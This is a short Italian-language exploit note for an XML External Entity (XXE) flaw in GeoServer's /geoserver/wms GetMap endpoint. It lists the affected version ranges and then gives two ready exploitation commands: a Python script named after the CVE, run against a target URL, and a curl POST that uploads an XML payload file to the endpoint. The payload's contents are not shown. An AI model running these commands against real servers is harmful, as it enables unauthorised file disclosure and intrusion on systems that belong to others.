
XXE attraverso un endpoint specifico /geoserver/wms operation GetMap - Geoserver
Dalla versione 2.26.0 fino alla versione 2.26.2 esclusa e nelle versioni precedenti la 2.25.6, è stata identificata una vulnerabilità XML External Entity (XXE). L'applicazione accetta input XML tramite un endpoint specifico /geoserver/wms per l'operazione GetMap

Sfruttamento1:
python3 CVE-2025-58360 -u http://example.com
Sfruttamento2:
curl -X POST "http://example.com/geoserver/wms?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90" -H "Content-Type: application/xml" --data-binary @payload.xml -o output.png